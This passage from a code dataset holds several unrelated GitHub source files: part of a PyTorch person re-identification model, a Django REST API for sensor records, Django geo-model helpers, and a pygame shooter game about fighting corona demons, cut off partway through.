classifier\n\n\tdef forward(self, x):\n\t\tx = self.add_block(x)\n\t\t# pdb.set_trace()\n\t\tif self.return_f:\n\t\t\tf = x\n\t\t\tx = self.classifier(x)\n\t\t\treturn x, f\n\t\telse:\n\t\t\tx = self.classifier(x)\n\t\t\treturn x\n\nclass Pyramidal_Block_V2(nn.Module):\n\tdef __init__(self, cur_level, level=6, dim=64, bn=None, num_feature=256):\n\t\tsuper(Pyramidal_Block_V2, self).__init__()\n\t\tself.level = level\n\t\tself.cur_level = cur_level\n\t\tself.dim = dim\n\t\t\n\t\tfor i in range(self.level + 1 - self.cur_level):\n\t\t\tname = 'block' + str(i)\n\t\t\t# setattr(self, name, ClassBlock(2048, 100, False, False, num_feature, bn))\n\t\t\tsetattr(self, name, ClassBlock(2048, 100, False, True, 128 if self.cur_level == 6 else 256, bn))\n\t\n\tdef forward(self, x):\n\t\tall_part = []\n\t\tfor i in range(self.level + 1 - self.cur_level):\n\t\t\tstart = i * x.size()[2] / self.level\n\t\t\tend = i * x.size()[2] / self.level + self.cur_level * x.size()[2] / self.level - 1\n\t\t\tpart = x[:, :, int(start):int(end), :]\n\t\t\tkernel_size = [part.size()[2], part.size()[3]]\n\t\t\tpart = torch.nn.functional.avg_pool2d(part, kernel_size)\n\t\t\tpart = torch.squeeze(part)\n\t\t\tname = 'block' + str(i)\n\t\t\tblock = getattr(self, name)\n\t\t\tpart = block(part)\n\t\t\tall_part.append(part)\n\t\t# result=all_part[0]\n\t\t# for k in all_part[1:]:\n\t\t# result=torch.cat([result,k], dim=1)\n\t\treturn torch.cat(all_part, dim=1)\n\n\nclass Pyramid_V2(nn.Module):\n\tdef __init__(self, level=6, level_choose=[1, 1, 1, 1, 1, 1], group_size=1, group=1, sync_stats=False,\n\t num_feature=256):\n\t\tsuper(Pyramid_V2, self).__init__()\n\t\t\n\t\t#def BNFunc(*args, **kwargs):\n\t\t\t#return SyncBatchNorm2d(*args, **kwargs, group=group, sync_stats=sync_stats, var_mode=syncbnVarMode_t.L2)\n\t\t\n\t\tBN = nn.BatchNorm2d #BNFunc\n\t\tself.level = level\n\t\tself.level_choose = level_choose\n\t\t## using res101 backbone\n\t\tmodel_ft = resnet101(group_size=group_size, group=group, sync_stats=sync_stats, bb_only=True)\n\t\tself.model = model_ft\n\t\tself.valid_level = list(filter(lambda x: x == 1, self.level_choose))\n\t\tself.num_classifier = len(self.valid_level)\n\t\tself.dim = int(num_feature / self.num_classifier)\n\t\t\n\t\tfor i in range(self.level):\n\t\t\tif self.level_choose[i] == 0:\n\t\t\t\tcontinue\n\t\t\tname = 'P_Block' + str(i)\n\t\t\tsetattr(self, name, Pyramidal_Block_V2(i + 1, self.level, self.dim, BN, num_feature))\n\t\t\tif i == 5:\n\t\t\t\tcontinue\n\t\t\tname = 'Dim_Reducer' + str(i)\n\t\t\tsetattr(self, name, ClassBlock(256 * (self.level - i), 256, False, False, self.dim, BN))\n\t\n\tdef forward(self, x, label=None):\n\t\tx = self.model.conv1(x)\n\t\tx = self.model.bn1(x)\n\t\tx = self.model.relu(x)\n\t\tx = self.model.maxpool(x)\n\t\tx = self.model.layer1(x)\n\t\tx = self.model.layer2(x)\n\t\tx = self.model.layer3(x)\n\t\tx = self.model.layer4(x)\n\t\t# y={}\n\t\tpredict = []\n\t\tfor i in range(self.level):\n\t\t\tif self.level_choose[i] == 0:\n\t\t\t\tcontinue\n\t\t\tname = 'P_Block' + str(i)\n\t\t\tblock = getattr(self, name)\n\t\t\tpart = block(x)\n\t\t\tif i != 5:\n\t\t\t\tname = 'Dim_Reducer' + str(i)\n\t\t\t\treducer = getattr(self, name)\n\t\t\t\tif self.dim != 256:\n\t\t\t\t\tpart = reducer(part)\n\t\t\t\tpart = torch.squeeze(part)\n\t\t\t# y[i] = part\n\t\t\tpredict.append(part)\n\t\t# for i, j in enumerate(y.values()):\n\t\t# predict.append(j)\n\t\treturn predict\n","repo_name":"NIRVANALAN/magnifiernet_reid","sub_path":"modeling/Tools.py","file_name":"Tools.py","file_ext":"py","file_size_in_byte":10444,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"27"} +{"seq_id":"4064800535","text":"from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom .business_logic import config, crud_ops, filters, stat_calc\n\n@api_view(['GET'])\ndef api_home(request):\n return Response(data=\"This is the API Home page. Please visit '/api/documentation' for details\")\n\n\n@api_view(['GET'])\ndef documentation(request):\n endpoints = [\n {\n 'endpoint': '/api/sensor/records',\n 'description': 'Gets all sensor records',\n 'parameters': [],\n 'example': '/api/sensor/records',\n 'methods': ['GET'],\n },\n {\n 'endpoint': '/api/sensor/records/',\n 'description': 'Gets one sensor record by ID',\n 'parameters': [],\n 'example': '/api/sensor/records/IPKR8IF8BCVZ',\n 'methods': ['GET'],\n },\n {\n 'endpoint': '/api/sensor/records/filter',\n 'description': 'Filters sensor records (based on certain parameters)',\n 'parameters': [\n {\n 'name': 'sensorType',\n 'datatype': 'str',\n 'required': False,\n },\n {\n 'name': 'minReading',\n 'datatype': 'float',\n 'required': False,\n },\n {\n 'name': 'maxReading',\n 'datatype': 'float',\n 'required': False,\n },\n {\n 'name': 'startDate',\n 'datatype': 'str',\n 'format': 'dd-mm-yyyy',\n 'required': False,\n },\n {\n 'name': 'endDate',\n 'datatype': 'str',\n 'format': 'dd-mm-yyyy',\n 'required': False,\n },\n ],\n 'example': '/api/sensor/records/filter?sensorType=temperature&minReading=10.223&maxReading=14.472&startDate=14-06-2020&endDate=31-12-2020',\n 'methods': ['GET'],\n },\n {\n 'endpoint': '/api/sensor/records/stats',\n 'description': 'Gets sensor related statistics (based on certain parameters)',\n 'parameters': [\n {\n 'name': 'startDate',\n 'datatype': 'str',\n 'format': 'dd-mm-yyyy',\n 'required': True,\n },\n {\n 'name': 'endDate',\n 'datatype': 'str',\n 'format': 'dd-mm-yyyy',\n 'required': True,\n },\n ],\n 'example': '/api/sensor/records/stats?startDate=14-06-2020&endDate=31-12-2020',\n 'methods': ['GET'],\n },\n {\n 'endpoint': '/api/sensor/records/add',\n 'description': 'Adds one sensor record (based on certain parameters)',\n 'parameters': [\n {\n 'name': 'reading',\n 'datatype': 'float',\n 'required': True,\n },\n {\n 'name': 'sensorType',\n 'datatype': 'str',\n 'required': True,\n },\n ],\n 'example': '/api/sensor/records/add?reading=10.224&sensorType=temperature',\n 'methods': ['POST'],\n },\n {\n 'endpoint': '/api/sensor/records/delete/',\n 'description': 'Deletes one sensor record by ID',\n 'parameters': [],\n 'example': '/api/sensor/records/delete/IPKR8IF8BCVZ',\n 'methods': ['DELETE'],\n },\n ]\n return Response(data=endpoints)\n\n\n@api_view(['GET'])\ndef all_sensor_records(request):\n records = crud_ops.get_all_records_from_mongodb(collection_name=config.MONGODB_COLLECTION_SENSOR_DATA)\n return Response(data=records)\n\n\n@api_view(['GET'])\ndef get_sensor_record(request, _id):\n record_id = str(_id)\n record = crud_ops.get_sensor_record(record_id=record_id)\n return Response(data=record)\n\n\n@api_view(['GET'])\ndef filter_sensor_records(request):\n sensor_type = request.GET.get('sensorType', default=None)\n min_reading = request.GET.get('minReading', default=None)\n max_reading = request.GET.get('maxReading', default=None)\n start_date = request.GET.get('startDate', default=None)\n end_date = request.GET.get('endDate', default=None)\n records = crud_ops.get_all_records_from_mongodb(collection_name=config.MONGODB_COLLECTION_SENSOR_DATA)\n records = filters.filter_sensor_records(records=records,\n sensor_type=sensor_type,\n min_reading=float(min_reading) if min_reading else None,\n max_reading=float(max_reading) if max_reading else None,\n start_date=start_date,\n end_date=end_date)\n return Response(data=records)\n\n\n@api_view(['GET'])\ndef sensor_stats(request):\n start_date = request.GET['startDate']\n end_date = request.GET['endDate']\n dictionary_stats = stat_calc.get_sensor_statistics(start_date=start_date,\n end_date=end_date)\n return Response(data=dictionary_stats)\n\n\n@api_view(['GET', 'POST'])\ndef add_sensor_record(request):\n reading = float(request.GET['reading'])\n sensor_type = str(request.GET['sensorType'])\n crud_ops.add_sensor_record(reading=reading,\n sensor_type=sensor_type)\n response = {\"message\": \"Record was added successfully\", \"status_code\": 201}\n return Response(data=response)\n\n\n@api_view(['GET', 'DELETE'])\ndef delete_sensor_record(request, _id):\n record_id = str(_id)\n crud_ops.delete_sensor_record(record_id=record_id)\n response = {\"message\": \"Record was deleted successfully\", \"status_code\": 200}\n return Response(data=response)","repo_name":"Nishant173/sensor-data-assignment","sub_path":"src/sensor_api/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4648568018","text":"import json\nfrom django.contrib.gis.db import models\nfrom django.contrib.gis.geos import Point\nfrom django.forms.models import model_to_dict\nfrom django.utils import timezone\nfrom .managers import BaseManager, BaseGeoManager\n\n\nclass BaseModel(models.Model):\n # things that *all* models will have in common\n def get_dict(self, fields=None, exclude=None):\n \"\"\"returns JSON serializable dict of the properties\n\n Keyword arguments:\n fields -- optional list of fields to return, returns everything by default\n exclude -- optional list of fields to exclude from the returned dict\n \"\"\"\n return model_to_dict(self, fields, exclude)\n\n objects = BaseManager()\n\n class Meta:\n # This isn't a real model\n abstract = True\n\n\nclass TimestampedBaseModel(BaseModel):\n created_at = models.DateTimeField(auto_now_add=True, default=timezone.now)\n updated_at = models.DateTimeField(auto_now=True, default=timezone.now)\n\n class Meta:\n abstract = True\n\n\nclass GeoBaseModel(BaseModel):\n # things that only geo enabled models will have in common\n def get_dict(self, fields=None, exclude=None):\n \"\"\"returns JSON serializable dict of the properties\n This needs to be overridden to parse Geo fields\n\n Keyword arguments:\n fields -- optional list of fields to return, returns everything by default\n exclude -- optional list of fields to exclude from the returned dict\n \"\"\"\n geo_dict = model_to_dict(self, fields, exclude)\n # model_to_dict returns output like -\n # {'coord': , 'school': 32988}\n\n for key, value in geo_dict.iteritems():\n if isinstance(value, Point):\n # geo_dict[key] = json.loads(value.geojson)\n geo_dict[key] = [\n geo_dict[key].x,\n geo_dict[key].y\n ]\n\n return geo_dict\n\n # not sure how useful the below methods would be\n def get_geojson_dict(self, fields=None, exclude=None):\n geojson_dict = {\n \"type\": \"Feature\",\n \"geometry\": {\n },\n \"properties\": {\n }\n }\n\n self_dict = model_to_dict(self, fields, exclude)\n # model_to_dict returns output like -\n # {'coord': , 'school': 32988}\n\n for key, value in self_dict.iteritems():\n if isinstance(value, Point):\n # self_dict[key] = json.loads(value.geojson)\n geojson_dict['geometry'] = {\n u'type': u'Point',\n u'coordinates': [\n self_dict[key].x,\n self_dict[key].y\n ]\n }\n else:\n geojson_dict['properties'][key] = value\n\n return geojson_dict\n\n def get_geojson(self, fields=None, exclude=None):\n return json.dumps(self.get_geojson_dict(fields, exclude))\n\n # overriding the default manager\n objects = BaseGeoManager()\n\n class Meta:\n # This isn't a real model\n abstract = True\n\n\ndef queryset_to_geojson(geofield_or_relation=None):\n \"\"\"turns a queryset to geojson\n\n Keyword arguments:\n geofield_or_relation -- provide a relation like this related_fieldname.column_name\n and this method will take that field from the related model\n and put that value as geometry of the geojson\n \"\"\"\n pass\n\n#\n# SUM CASE WHEN Aggregator\n# ========================\n\n\nclass SQLSumCase(models.sql.aggregates.Aggregate):\n is_ordinal = True\n sql_function = 'SUM'\n sql_template = \"%(function)s(CASE WHEN %(when)s THEN %(field)s ELSE 0 END)\"\n\n def __init__(self, col, **extra):\n if isinstance(extra['when'], basestring):\n extra['when'] = \"%s\" % extra['when']\n\n if not extra.get('case', None):\n extra['case'] = '\"%s\".\"%s\"' % (extra['source'].model._meta.db_table, extra['source'].name)\n\n if extra['when'] is None:\n extra['when'] = True\n extra['case'] += ' IS NULL '\n\n super(SQLSumCase, self).__init__(col, **extra)\n\n\nclass SumCase(models.Aggregate):\n name = 'SUM'\n\n def add_to_query(self, query, alias, col, source, is_summary):\n aggregate = SQLSumCase(col, source=source, is_summary=is_summary, **self.extra)\n query.aggregates[alias] = aggregate\n","repo_name":"klpdotorg/dubdubdub","sub_path":"apps/common/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"27"} +{"seq_id":"28060867342","text":"# 모듈 임포트\nimport pygame, copy, sys, abc, os, math\nfrom pygame.locals import *\n\n# fps 상수값 설정\nFPS = 60\n\n# 프로그램 윈도우의 너비, 높이 [픽셀]\nWINWIDTH, WINHEIGHT = 1400, 800\n\n# 윈도우 너비, 높이의 절반\nHALF_WINWIDTH, HALF_WINHEIGHT = int(WINWIDTH / 2), int(WINHEIGHT / 2)\n\n# 맵을 구성하는 타일 각각의 너비, 높이, 바닥부분 높이 [픽셀]\nTILEWIDTH = 50\nTILEHEIGHT = 85\nTILEFLOORHEIGHT = 40\n\n# 색 종류\nBGCOLOR = (31, 30, 51)\nTEXTCOLOR = (255, 255, 255)\n\n# 자주 쓰는 문자열 상수화\nQ = 'Q'\nA = 'A'\nS = 'S'\n\ndef main() -> None:\n \n # 전역 변수와 상수 지정\n global FPSCLOCK, DISPLAYSURF, IMAGESDICT, TILEMAPPING, BASICFONT, SKILLFONT, CHARACTERIMAGES, bullet_list_player, bullet_list_mob, bullet_list_exploded, BLACK, WHITE\n\n # pygame 초기화\n pygame.init()\n \n # FPSCLOCK 설정\n FPSCLOCK = pygame.time.Clock()\n \n # 배경 surface 구현\n DISPLAYSURF = pygame.display.set_mode((WINWIDTH, WINHEIGHT))\n \n # 윈도우 제목\n pygame.display.set_caption(\"Defeat The Corona Demons\")\n \n # 기본 폰트와 크기 지정\n BASICFONT = pygame.font.Font(\"freesansbold.ttf\", 18)\n SKILLFONT = pygame.font.Font(\"freesansbold.ttf\", 40)\n BLACK = (0, 0, 0)\n WHITE = (255, 255, 255)\n \n\n # 모든 기본 이미지 surface 객체를 저장하는 전역 dict\n IMAGESDICT = {\n \"wall\" : pygame.image.load(\"defeat_the_corona_demons/images/wall.png\"),\n \"corner\" : pygame.image.load(\"defeat_the_corona_demons/images/corner.png\"),\n \"floor\" : pygame.image.load(\"defeat_the_corona_demons/images/floor.png\"),\n \"grass\" : pygame.image.load(\"defeat_the_corona_demons/images/grass.png\"),\n \"rock\" : pygame.image.load(\"defeat_the_corona_demons/images/rock.png\"),\n \"short tree\" : pygame.image.load(\"defeat_the_corona_demons/images/short_tree.png\"),\n \"tall tree\" : pygame.image.load(\"defeat_the_corona_demons/images/tall_tree.png\"),\n \"bush\" : pygame.image.load(\"defeat_the_corona_demons/images/bush.png\"),\n # 출처 https://pixabay.com/vectors/devil-satan-demon-horns-mask-evil-311310/\n \"small golem\" : pygame.image.load(\"defeat_the_corona_demons/images/small_golem.png\"),\n # 출처 https://pixabay.com/vectors/demon-devil-face-halloween-head-1296505/\n \"big golem\" : pygame.image.load(\"defeat_the_corona_demons/images/big_golem.png\"),\n # 출처 https://pixabay.com/vectors/skull-wings-horns-devil-death-5996957/\n \"spirit\" : pygame.image.load(\"defeat_the_corona_demons/images/spirit.png\"),\n # 출처 https://www.crowdpic.net/photos/%EB%A7%88%EC%8A%A4%ED%81%AC%EB%A5%BC%EC%8D%A8%EC%A3%BC%EC%84%B8%EC%9A%94\n \"player\" : pygame.image.load(\"defeat_the_corona_demons/images/player.png\"),\n \"dummy\" : pygame.image.load(\"defeat_the_corona_demons/images/dummy.png\"),\n \"damaged\" : pygame.image.load(\"defeat_the_corona_demons/images/damaged.png\"),\n # 출처 https://www.sciencetimes.co.kr/news/%EC%BD%94%EB%A1%9C%EB%82%9819-%EB%B0%94%EC%9D%B4%EB%9F%AC%EC%8A%A4%EB%8A%94-%EC%A7%84%ED%99%94%EC%9D%98-%EC%82%B0%EB%AC%BC/\n \"bullet\" : pygame.image.load(\"defeat_the_corona_demons/images/mob_bullet.png\"),\n # 출처 https://key0.cc/ko/108880-%EC%8B%9C%EB%A6%B0%EC%A7%80-%ED%8E%91-%ED%88%AC%EB%AA%85-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%8B%9C%EB%A6%B0%EC%A7%80\n \"bullet_player\" : pygame.image.load(\"defeat_the_corona_demons/images/bullet.png\"),\n \"start screen\" : pygame.image.load(\"defeat_the_corona_demons/images/start_screen.PNG\")\n }\n \n # 맵 파일의 문자들에 대응되는 이미지 정보를 저장하는 전역 dict\n TILEMAPPING = {\n '#' : IMAGESDICT[\"wall\"],\n '+' : IMAGESDICT['corner'],\n ' ' : IMAGESDICT[\"floor\"],\n 'w' : IMAGESDICT[\"grass\"],\n 'r' : IMAGESDICT[\"rock\"],\n 't' : IMAGESDICT[\"short tree\"],\n 'T' : IMAGESDICT[\"tall tree\"],\n 'b' : IMAGESDICT[\"bush\"]\n }\n \n # 캐릭터 리스트(플레이어와 적 캐릭터)\n CHARACTERIMAGES = {\n \"player\" : IMAGESDICT[\"player\"],\n \"small golem\" : IMAGESDICT[\"small golem\"],\n \"big golem\" : IMAGESDICT[\"big golem\"],\n \"spirit\" : IMAGESDICT[\"spirit\"]\n }\n # 현재 사용되어 사라지지 않은 총알들 리스트\n bullet_list_mob = []\n bullet_list_player = []\n bullet_list_exploded = []\n\n # 플레이어가 아무 키를 누를 때까지 시작 화면을 보여준다.\n i = True\n while i:\n i = show_start_screen()\n\n # 텍스트 파일에서 레벨을 읽어 온다.\n map_file : str = \"defeat_the_corona_demons/map.txt\"\n levels : list = read_levels_file(map_file)\n\n current_level_index : int = 0\n\n # 메인 게임 루프. 스테이지를 종료할 때마다 반복된다.\n while True:\n \n # 스테이지 선택 화면을 불러온다.\n # 화면에는 전체 스테이지 개수와 진행 가능한 최고 스테이지가 표시되며\n # 맞는 스테이지 번호를 입력하면 해당 숫자를 반환하여 인덱스에 저장한다.\n\n # 스테이지를 마치면 클리어 여부와 재시작 등에 따라 int가 반환된다.\n # 실패 : 0, 클리어 : 1, 재시작 : 2, 이전 맵 : 3\n result = run_level(levels, current_level_index)\n\n # 스테이지 재시작 때마다 총알 초기화\n bullet_list_mob = []\n bullet_list_player = []\n bullet_list_exploded = []\n\n # result 에 따라 스테이지 인덱스 갱신\n if result == 0:\n print(\"실패\")\n elif result == 1:\n print(\"클리어\")\n current_level_index += 1\n if current_level_index >= len(levels):\n current_level_index = 0\n elif result == 2:\n print(\"재시작\")\n elif result == 3:\n print(\"이전 맵\")\n current_level_index -= 1\n if current_level_index < 0:\n current_level_index = len(levels) - 1\n elif result == 4:\n print(\"다음 맵\")\n current_level_index += 1\n if current_level_index >= len(levels):\n current_level_index = 0\n \n# 시작 화면 그리기\ndef show_start_screen() -> bool:\n image = IMAGESDICT[\"start screen\"]\n image_rect = image.get_rect()\n image_rect.topleft = 0, 0\n \n DISPLAYSURF.fill(BGCOLOR)\n\n DISPLAYSURF.blit(image, image_rect)\n\n pygame.display.update()\n \n # 임의의 버튼을 누르면 False를 반환\n for event in pygame.event.get():\n if event.type == KEYDOWN:\n return False\n\n return True\n \n\n# 스테이지 플레이\ndef run_level(levels : list, current_level_index : int) -> int:\n global map_width_global, map_height_global\n # 선택한 스테이지의 레벨 불러오기\n level_obj : dict = levels[current_level_index]\n \n # 스테이지의 맵 정보를 가공하여 맵 요소 이외의 것을 제거\n map_obj : list = processing_map(level_obj[\"map_obj\"])\n\n map_width_global, map_height_global = len(map_obj) * TILEWIDTH, (len(map_obj[0]) - 1) * TILEFLOORHEIGHT + TILEHEIGHT\n\n # 스테이지 정보를 훼손하지 않고 여러 변동 정보(플레이어 위치 등)를\n # 다루기 위해 deepcopy\n game_state_obj = copy.deepcopy(level_obj[\"start_state\"])\n\n # 몬스터 인스턴스 생성\n player = Player(game_state_obj[\"player\"])\n mobs = []\n for mob in game_state_obj[\"mobs\"]:\n if mob[0] == \"g\":\n mobs.append(SmallGolem(mob[1]))\n elif mob[0] == \"G\":\n mobs.append(BigGolem(mob[1]))\n elif mob[0] == \"s\":\n mobs.append(Spirit(mob[1]))\n\n # 마우스 좌표 변수\n mouse_pos : tuple = None\n mouse_bt3 : bool = False\n\n # while문 최초로 마우스가 입력되기 전에 ploc 사용하기 위한 정의\n ploc = game_state_obj[\"player\"]\n # while문 틱 전에 dt 사용하기 위한 정의\n dt : float = 1 / FPS\n # a버튼이 눌렸는지 검사하는 변수\n key_a = False\n\n # 메인 게임 루프\n while True:\n # 이벤트 처리\n for event in pygame.event.get():\n if event.type == QUIT:\n # 종료 함수\n terminate()\n else:\n # 키 입력에 대한 대응 설정\n if event.type == MOUSEBUTTONDOWN:\n # 우클릭이 눌리면 체크\n if event.button == 3:\n mouse_bt3 = True\n mouse_pos = event.pos\n if event.type == MOUSEMOTION:\n # 화면 상 마우스 위치 체크\n if mouse_bt3:\n mouse_pos = event.pos\n if event.type == MOUSEBUTTONUP:\n # 우클릭을 떼었는지 체크\n if event.button == 3:\n mouse_bt3 = False\n if event.type == KEYDOWN:\n # q스킬 사용\n if event.key == K_q:\n player.a_skill()\n # a버튼 눌렸는지 검사\n if event.key == K_a:\n key_a = True\n # s버튼 누르면 플레이어 정지\n if event.key == K_s:\n mouse_pos = None\n # esc를 누르면 해당 스테이지 재시작\n if event.key == K_ESCAPE:\n return 2\n # 왼쪽 방향키를 누르면 이전 스테이지로\n if event.key == K_LEFT:\n return 3\n # 오른쪽 방향키를 누르면 다음 스테이지로\n if event.key == K_RIGHT:\n return 4\n if event.type == KEYUP:\n # a버튼 떼었는지 검사\n if event.key == K_a:\n key_a = False\n\n # a버튼이 눌리면 플레이어 기본 공격\n if key_a:\n player.basic_attack(mouse_location)\n\n # 플레이어 평타 대기시간 측정\n player.tick(dt)\n\n # 이벤트에서 측정한 마우스 좌표는 화면 상 좌표이므로 이를 맵 상 좌표로 변환해야 함.\n # 맵 상 좌표로 변환하는 계산\n mouse_location = tuple(\\\n pygame.Vector2(player.location)\\\n + pygame.Vector2(pygame.mouse.get_pos())\\\n - pygame.Vector2(HALF_WINWIDTH, HALF_WINHEIGHT))\n \n # 유닛의 damaged 초기화(하지 않으면 피격 이펙트가 꺼지지 않음)\n player.damaged = False\n for mob in mobs:\n mob.damaged = False\n\n # 마우스 좌표가 입력되면 대응하는 맵의 좌표로 변환한 뒤 플레이어를 이동\n if mouse_pos:\n # 플레이어를 이동시켜보고 이동할 수 있다면 이동\n dir_pos = tuple(pygame.Vector2(ploc) + pygame.Vector2(mouse_pos) - pygame.Vector2(HALF_WINWIDTH, HALF_WINHEIGHT))\n player.make_move(map_obj, dir_pos, dt)\n if mouse_bt3:\n # mouse_bt3 == False인 경우 ploc의 갱신이 중단되어 마지막 터치 지점에 가서 멈추게 된다.\n ploc = Player.location\n\n # 몹 이동\n for i in range(len(mobs)):\n # 몹이 생성되고 죽는 과정에서 인덱스 오류를 방지하기 위한 try 문\n try:\n mobs[i].make_move(map_obj, dt, player)\n if mobs[i].hp == 0:\n del mobs[i]\n except:\n pass\n\n # 총알 이동\n for i in range(len(bullet_list_mob)):\n try:\n if bullet_list_mob[i].live:\n bullet_list_mob[i].move(dt)\n else:\n del bullet_list_mob[i]\n except:\n pass\n for i in range(len(bullet_list_player)):\n try:\n if bullet_list_player[i].live:\n bullet_list_player[i].move(dt)\n else:\n del bullet_list_player[i]\n except:\n pass\n for i in range(len(bullet_list_exploded)):\n try:\n if bullet_list_exploded[i].live:\n bullet_list_exploded[i].move(dt)\n else:\n del bullet_list_exploded[i]\n except:\n pass\n \n # 플레이어가 죽으면 실패\n if not player.is_alive:\n return 0\n # 몹이 전부 죽으면 클리어\n if not mobs:\n return 1\n\n # 배경색 칠하기\n DISPLAYSURF.fill(BGCOLOR)\n\n # draw_map으로 그릴 surface를 받는다.\n map_surf : pygame.Surface = draw_map(map_obj, player, mobs)\n map_surf_rect : pygame.Rect = map_surf.get_rect()\n\n # 스킬 켜졌는지 표기 (map_surf 바깥에 그려야 해서 따로 분리)\n if player._is_q_on:\n q_text = SKILLFONT.render(\"Q\", True, WHITE)\n else: \n q_text = SKILLFONT.render(\"Q\", True, (100, 100, 100))\n q_text_rect = q_text.get_rect()\n q_text_rect.center = HALF_WINWIDTH - 100, WINHEIGHT - 100\n\n # 맵 가로, 세로 길이 [픽셀] (map_surf 위치 계산용)\n map_width, map_height = len(map_obj) * TILEWIDTH / 2, ((len(map_obj[0]) - 1) * TILEFLOORHEIGHT + TILEHEIGHT) / 2\n map_center = tuple(pygame.Vector2(map_width, map_height) + pygame.Vector2(HALF_WINWIDTH, HALF_WINHEIGHT) - pygame.Vector2(Player.location))\n map_surf_rect.center = map_center\n DISPLAYSURF.blit(map_surf, map_surf_rect)\n\n # 스킬 표시를 가장 위에 표시\n DISPLAYSURF.blit(q_text, q_text_rect)\n \n # 현재 맵 번호 표시\n map_num = SKILLFONT.render(f\"{current_level_index+1} STAGE\", True, WHITE)\n map_num_rect = map_num.get_rect()\n map_num_rect.center = 100, 100\n DISPLAYSURF.blit(map_num, map_num_rect)\n\n pygame.display.update()\n dt : float = FPSCLOCK.tick(FPS)\n print(FPSCLOCK.get_fps()) # 실시간으로 현재 프레임 상태 측정\n\n# read_levels_file과 run_level 함수 기본적인 방식은 python과 pygame으로 게임만들기의 Star Pusher 부분을 참고\n# 링크 http://www.yes24.com/Product/Goods/13709740\n# 구글에 star pusher 라 검색해도 비슷한 내용이 나옴\ndef read_levels_file(mapfile) -> list:\n # 파일이 없을 경우 예외 발생\n assert os.path.exists(mapfile), f\"Cannot find the level file : {mapfile}\"\n\n # 파일을 열어 내용을 content에 저장\n with open(mapfile, 'rt', encoding='UTF8') as map_file:\n content = map_file.readlines() + [\"\\n\"]\n\n levels = []\n map_text_lines = []\n map_obj = []\n level_num = 0\n\n # content의 각 줄에 대해 처리\n for line in content:\n line = line.rstrip(\"\\n\")\n\n if \";\" in line: # ;이후의 것은 무시\n line = line[:line.find(\";\")]\n \n if line != \"\": # 빈칸이 아니면 map_text_lines에 추가\n map_text_lines.append(line)\n\n # map_text_lines에 내용이 있으면서 빈칸이 나오면 맵 가공\n elif len(map_text_lines) > 0:\n # 직사각형이 되게 맵 빈칸을 채운다.\n max_width = max(map(len, map_text_lines))\n for i in range(len(map_text_lines)):\n map_text_lines[i] += \" \" * (max_width - len(map_text_lines[i]))\n\n # map_text_lines를 맵 객체로 변환\n # 맵 객체는 (x, y) 좌표의 블록이 map_obj[x][y]에 존재하도록 처리 \n for _ in range(max_width):\n map_obj.append([])\n for y in range(len(map_text_lines)):\n for x in range(max_width):\n # assert mapTextLines[y][x] in TILEMAPPING,\\\n # f\"Level {levelnum+1} in {filename} has a strange word : {mapTextLines[y][x]}\"\n map_obj[x].append(map_text_lines[y][x])\n\n # 맵 속에 있는 특정 문자들을 찾아 start_state에 저장한다.\n # 해당 문자들은 플레이어와 몹의 시작 위치를 나타낸다.\n player_pos = None\n mobname_nobpos = []\n\n for x in range(max_width):\n for y in range(len(map_obj[x])):\n if map_obj[x][y] == \"@\":\n player_pos = (x + 0.5) * TILEWIDTH, (y - 1) * TILEFLOORHEIGHT + TILEHEIGHT\n if map_obj[x][y] in [\"g\", \"G\", \"s\"]:\n mobname_nobpos.append((map_obj[x][y], ((x + 0.5) * TILEWIDTH, (y - 1) * TILEFLOORHEIGHT + TILEHEIGHT)))\n\n\n # 레벨 디자인 유효성 검사\n assert player_pos != None, \\\n f\"Level {level_num + 1} in {mapfile} is missing a \\\"@\\\" to mark the start point\"\n\n assert mobname_nobpos != None, \\\n f\"Level {level_num + 1} in {mapfile} is missing \\\"g\\\" or \\\"G\\\" or \\\"s\\\" to mark the mobs\"\n\n # 레벨 객체 생성\n game_state_obj = {\n \"player\" : player_pos,\n \"mobs\" : mobname_nobpos\n }\n level_obj = {\n \"map_obj\" : map_obj,\n \"start_state\" : game_state_obj\n }\n levels.append(level_obj)\n\n # 다음 맵을 위한 변수 초기화\n map_text_lines = []\n map_obj = []\n game_state_obj = {}\n level_num += 1\n\n return levels\n\n# 유닛의 위치 정보를 기록하고 해당 위치를 일반 블럭으로 바꿈\ndef processing_map(map_obj : list) -> list:\n map_obj_copy = copy.deepcopy(map_obj)\n\n for x in range(len(map_obj_copy)):\n for y in range(len(map_obj_copy[x])):\n if map_obj_copy[x][y] in ['@', 'g', 'G', 's']:\n map_obj_copy[x][y] = ' '\n return map_obj_copy\n\n# 해당 좌표가 벽인지 확인해줌\ndef is_wall(map_obj, xpos, ypos) -> bool:\n # x, y 좌표를 각각 블록 한 칸의 가로, 세로 길이로 나누고 반올림하면\n # 해당 좌표에 존재하는 블록의 map_obj 상 좌표가 된다.\n x, y = int(xpos / TILEWIDTH), int(ypos / TILEFLOORHEIGHT)\n # 만약 해당 좌표가 맵 바깥이면 False\n if x < 0 or x >= len(map_obj) or y < 0 or y >= len(map_obj[x]):\n return False\n # 만약 해당 좌표에 wall corner, rock이 있으면 True\n elif map_obj[x][y] in ['#', '+', 'r']:\n return True\n\n# 총알 클래스\nclass Bullet:\n # 총알 생성 위치와 발사 방향을 매개변수로 받는다.\n def __init__(self, pos, dir_pos) -> None:\n self.bulletspeed = 0.2 # 총알의 이동 속도\n self.live = True # False가 되면 총알 인스턴스를 삭제한다.\n\n # dir_pos가 None으로 대입되는 경우가 있어 그런 경우 아래쪽 방향으로 고정시킨다.\n # 아닌 경우 생성 위치에 대해 이동 방향의 위치벡터를 구한다.\n try: \n self.offset = pygame.Vector2(dir_pos[0], dir_pos[1]) - pygame.Vector2(pos[0], pos[1])\n except:\n self.offset = pygame.Vector2(0, 1)\n \n # 위치벡터의 길이를 총알의 속도로 한다.\n self.offset.scale_to_length(self.bulletspeed)\n self.location = pos + self.offset * 5 # 5는 보정값\n\n # 매 프레임 총알을 이동시킴\n def move(self, dt):\n # 프레임이 떨어질 경우를 대비해 위치벡터에 dt 곱하기\n self.location += self.offset[0] * dt, self.offset[1] * dt\n\n 